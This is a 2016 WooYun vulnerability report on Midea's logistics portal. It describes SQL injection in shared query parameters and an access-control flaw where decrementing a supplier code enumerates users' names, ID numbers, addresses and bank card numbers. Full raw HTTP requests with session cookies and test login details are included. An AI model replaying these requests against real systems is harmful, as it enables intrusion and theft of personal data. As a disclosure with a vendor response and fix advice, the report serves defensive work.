当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0206992

漏洞标题:美的某系统漏洞打包(SQL注入/信息遍历)影响用户身份证/地址/银行卡号信息

相关厂商:midea.com

漏洞作者: 路人甲

提交时间:2016-05-10 11:42

修复时间:2016-06-24 18:10

公开时间:2016-06-24 18:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-10: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开

简要描述:

SQL注入/信息遍历,可影响用户身份证、地址、银行卡号信息

详细说明:

美的大物流系统
地址:http://lms.midea.com/module-portalweb/portalweb/view/index.shtml

QQ截图20160510105249.png


随意注册一个帐号进系统
chenjie密码xx123456
该系统内存在多处注入

QQ截图20160510105556.png


如基本信息中的几个查询框

POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=bankInformation HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 52
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@
banknumber=B00&page.currentPage=1&page.limitCount=10


参数banknumber

QQ截图20160510104429.png


QQ截图20160510104418.png


QQ截图20160510105714.png


QQ截图20160510110519.png


其实这个查询页面是个公用组件,很多查询都是调这个页面,只是参数不同,比如

POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=selectCustomer HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/TransportationPlanList.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 59
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlFTVFBQXFJVVFZUVFRHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@
pmCode=1&ebcuNameCn=1&page.currentPage=1&page.limitCount=10


参数ebcuNameCn

QQ截图20160510113548.png


QQ截图20160510113708.png

漏洞证明:

信息遍历

POST https://lms.midea.com/module-portalweb/portalweb/portal/supplier/findBySupppliersCode.shtml HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 23
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@
suppliersCode=HC0051797


通过对suppliersCode进行递减,可遍历已注册用户的信息
包括姓名、身份证、地址、银行卡号等信息

QQ截图20160510110016.png


QQ截图20160510110338.png


当然 如果有耐心等注入结果,数据会更全面点

修复方案:

参数化查询,权限控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-05-10 18:00

厂商回复:

感谢路人甲提醒,我们安排修复。

最新状态:

暂无


漏洞评价:

评价